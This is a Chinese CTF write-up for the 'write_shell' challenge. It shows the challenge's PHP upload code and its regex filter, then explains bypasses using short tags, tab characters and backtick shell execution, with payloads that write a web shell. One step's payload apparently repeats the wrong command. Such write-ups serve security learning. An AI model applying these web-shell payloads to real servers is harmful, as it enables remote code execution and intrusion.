[红明谷CTF 2021]write_shell 1

目录

代码审计

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

传入了两个参数

action=pwd时,显示路径

action=upload时,写入内容

check()

通过正则过滤

php 复制代码
preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)

字符串中包含 '、空格、php、;、~、^、+、eval、{ 或 } 中的任何一个,都会被过滤,且不区分大小写

对php的过滤可使用短标签:<?=(代码)?>

对空格的过滤,可使用 "/t" 或 "%09"代替

没有过滤反引号,我们可以在反引号中执行shell命令

$_GET["action"] ?? ""

$_GET["action"] ?? "":这是 PHP 7 中的新特性,称为 Null 合并运算符 (??)。它的作用是判断 $_GET["action"] 是否设置且不为 null,如果是,则返回值;如果未设置或者为 null,则返回空字符串 ""

解题

先查看路径

text 复制代码
payload:?action=pwd

查看目录

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>

再访问刚才得到的路径

访问:flllllll1112222222lag

text 复制代码
payload:?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
相关推荐
字节全栈_rJF2 小时前
概述、 BGP AS 、BGP 邻居、 BGP 更新源 、BGP TTL 、BGP路由表、 BGP 同步
网络·智能路由器·php
云空3 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。3 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
没有名字的小羊4 小时前
Cyber Security 101-Build Your Cyber Security Career-Security Principles(安全原则)
运维·网络·安全
dal118网工任子仪4 小时前
92,[8] 攻防世界 web Web_php_wrong_nginx_config
开发语言·php
大秦王多鱼6 小时前
Kafka SASL/PLAIN介绍
分布式·安全·kafka
大有数据可视化6 小时前
汽车中控屏HMI界面,安全和便捷是设计的两大准则。
安全·汽车·hmi设计·车载屏幕
aaaweiaaaaaa6 小时前
php的使用及 phpstorm环境部署
android·web安全·网络安全·php·storm
泪不是Web妳而流11 小时前
BurpSuite抓包与HTTP基础
网络·经验分享·网络协议·安全·http·网络安全·学习方法